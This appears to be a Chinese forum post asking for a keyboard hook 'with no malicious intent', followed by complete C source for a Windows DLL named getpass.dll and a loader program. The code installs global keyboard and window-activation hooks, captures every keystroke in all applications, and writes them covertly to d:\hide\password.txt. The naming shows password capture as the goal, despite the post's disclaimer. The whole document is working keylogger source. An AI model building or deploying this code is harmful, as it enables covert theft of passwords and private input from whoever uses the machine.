win10需要创建账户吗:求键盘钩子 决无恶意 在本机运行即可

getpass.dll
///////////////////////////
ktr.h
#ifndef _KTR
#define _KTR

#include <windows.h>

#define DLL_EXPORT __declspec(dllexport)

DLL_EXPORT void SetKbHook(void);
DLL_EXPORT void RemoveKbHook(void);

#endif
////////////////////////////////////////////
ktr.c
#include "ktr.h"
#include <stdio.h>
#include <process.h>

#define CHARNUM 5
#define TXTLENGTH 10
#define PLACEOFFILE "d:\\hide\\password.txt"

static BOOL bHooked = FALSE;
static BOOL IE_is_active = FALSE;
static HHOOK hhook = 0, hhookMsg=0;
static HINSTANCE hInst;
static int count;
static char tomb[CHARNUM];
static FILE *stream;
static int shift = 32;
short flag;
enum NUM
{
SHIFT,
CONTROL,
ALT,
CAPITAL
};
static int condition[CHARNUM][CAPITAL+1];
static char text[TXTLENGTH];

void Initcondition(void);
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK CBTProc(int code, WPARAM wParam, LPARAM lParam);

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
hInst=hinstDLL;
Initcondition();
count=0;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
default:
break;
}

return TRUE;
}

DLL_EXPORT void SetKbHook(void)
{
if(!bHooked)
{
hhook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hInst, (DWORD)NULL);
hhookMsg = SetWindowsHookEx(WH_CBT, (HOOKPROC)CBTProc, hInst, (DWORD)NULL);
bHooked = TRUE;
}
}

DLL_EXPORT void RemoveKbHook(void)
{
if(bHooked)
UnhookWindowsHookEx(hhook);
}

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

int i, temp;
int flag_shift;
int flag_capital;
int flag_alt;
int flag_control;

if (IE_is_active)
{
if ((wParam == VK_SHIFT) || (wParam == VK_CAPITAL) || (wParam == VK_MENU) || (wParam == VK_CONTROL))
{
flag_shift = 0x8000 & GetKeyState(VK_SHIFT);
flag_capital = 0x0001 & GetKeyState(VK_CAPITAL);
flag_alt = 0x8000 & GetKeyState(VK_MENU);
flag_control = 0x8000 & GetKeyState(VK_CONTROL);
}
if (wParam!=VK_TAB && wParam!=VK_ESCAPE && wParam !=VK_LEFT && wParam!=VK_RIGHT &&
wParam!=VK_UP && wParam!=VK_DOWN && wParam!=VK_END && wParam!=VK_HOME &&
wParam!=VK_PRIOR && wParam!=VK_NEXT && wParam!=VK_INSERT && wParam!=VK_NUMLOCK &&
wParam!=VK_SCROLL && wParam!=VK_PAUSE && wParam!=VK_LWIN && wParam!=VK_RWIN &&
wParam!=VK_F1 && wParam!=VK_F2 && wParam!=VK_F3 && wParam!=VK_F4 && wParam!=VK_F5 &&
wParam!=VK_F6 && wParam!=VK_F7 && wParam!=VK_F8 && wParam!=VK_F9 &&wParam!=VK_F10 &&
wParam!=VK_F11 && wParam!=VK_F12)
{
if ((0x80000000 & lParam) == 0) //WM_KEYDOWN?
{
if (wParam>=0x41 && wParam<=0x5a)
wParam+=32; //Kisbeture konvertalas
if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
{
if (wParam==VK_CAPITAL)
temp=1;
else temp=0;
condition[count][wParam-16-temp]=1;
}
tomb[count] = wParam;
count++;
}
else //WM_KEYUP?
if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
{
if (wParam==VK_CAPITAL)
temp=1;
else temp=0;
condition[count][wParam-16-temp]=2;
tomb[count] = wParam;
count++;
}
if (count==CHARNUM)
{
stream = fopen(PLACEOFFILE, "a+");

for (i = 0; i < count; i++)
{
switch(tomb[i])
{
case VK_DELETE :
fprintf(stream, "%s", "<d>");
break;

case VK_RETURN :
fprintf(stream, "%s", "\n");
break;

case VK_BACK :
fprintf(stream, "%s", "<b>");
break;

case VK_SHIFT :
if (condition[i][SHIFT]==1)
fprintf(stream, "%s", "<sd>");
else
fprintf(stream, "%s", "<su>");
break;

case VK_CONTROL :
if (condition[i][CONTROL]==1)
fprintf(stream, "%s", "<ctd>");
else
fprintf(stream, "%s", "<ctu>");
break;

case VK_MENU :
if (condition[i][ALT]==1)
fprintf(stream, "%s", "<ad>");
else
fprintf(stream, "%s", "<au>");
break;

case VK_CAPITAL :
if (condition[i][CAPITAL]==1)
fprintf(stream, "%s", "<cpd>");
else
fprintf(stream, "%s", "<cpu>");
break;

default:
fprintf(stream, "%c", tomb[i]);
break;
}
}
fclose (stream);
count=0;
Initcondition();
}
}
}
return CallNextHookEx(hhook, code, wParam, lParam);
}

void Initcondition(void)
{
int i, j;
for (i=0; i<CHARNUM; i++)
for (j=0; j<CAPITAL+1; j++)
condition[i][j]=0;
}

LRESULT CALLBACK CBTProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code==HCBT_ACTIVATE)
{
GetClassName((HANDLE)wParam, text, TXTLENGTH);
// if (text[0]=='q' && text[1]=='q') //Class name of Internet-Explorer begins with IE
IE_is_active=TRUE;
//else
// IE_is_active=FALSE;
}

return CallNextHookEx(hhookMsg, code, wParam, lParam);
}
////////////////////////////////
应用程序
ktrexe.c
#include "ktr.h"

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpszCmdLine, int nCmdShow)
{

MSG msg;
char text[]="Error loading DLL!";
char title[]="Key Tracer";
BOOL error=FALSE;
HINSTANCE dllhinst;
typedef VOID (CALLBACK* LPFNDLLFUNC1)(VOID);
LPFNDLLFUNC1 lpfnDllFunc1;

dllhinst=LoadLibrary("getpass.dll");
if (dllhinst!=NULL)
{
lpfnDllFunc1=(LPFNDLLFUNC1)GetProcAddress(dllhinst, "SetKbHook");
if (!lpfnDllFunc1)
{
FreeLibrary(dllhinst);
error=TRUE;
}
else
{
lpfnDllFunc1();
}
}
else error=TRUE;

if (error)
MessageBox(GetDesktopWindow(),text,title, MB_OK);

while (GetMessage(&msg,0,0,0))
{ TranslateMessage(&msg);
DispatchMessage(&msg);
};
return msg.wParam;
}